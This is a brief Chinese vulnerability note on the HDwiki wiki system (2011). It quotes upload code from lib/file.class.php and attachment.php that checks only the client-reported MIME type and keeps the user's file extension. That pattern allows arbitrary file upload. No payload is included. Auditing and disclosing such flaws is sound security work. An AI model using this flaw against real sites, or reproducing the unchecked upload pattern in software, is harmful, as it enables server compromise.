HDwiki（2011）

互动维客开源系统（HDwiki）作为中国第一家拥有自主知识产权的中文维基（Wiki）系统，由互动在线（北京）科技有限公司于2006 年11月28日正式推出，力争为给国内外众多的维基（Wiki）爱好者提供一个免费、易用、功能强大的维基（Wiki）建站系统

lib/file.class.php中

1. function uploadfile($attachment,$target,$maxsize=1024,$is_image=1){
2. $result=array ('result'=>false,'msg'=>'upload mistake');
3. if($is_image){
4. $attach=$attachment;
5. $filesize=$attach['size']/1024;
6. if(0==$filesize){
7. $result['msg']='上传错误';
8. return $result;
9. }
10. if(substr($attach['type'],0,6)!='image/'){
11. $result['msg']='格式错误';
12. return $result;
13. }
14. if($filesize>$maxsize){
15. $result['msg']='文件过大';
16. return $result;
17. }
18. }else{
19. $attach['tmp_name']=$attachment;
20. }
21. $filedir=dirname($target);
22. file::forcemkdir($filedir);
23. if(@copy($attach['tmp_name'],$target)||@move_uploaded_file($attach['tmp_name'],$target)){

没有什么检查 attachment.php里触发

1. function douploadimg(){
2. $imgname=$_FILES['photofile']['name'];
3. $extname=file::extname($imgname);
4. $destfile=$_ENV['attachment']->makepath($extname);
5. $arrupload=file::uploadfile($_FILES['photofile'],$destfile);
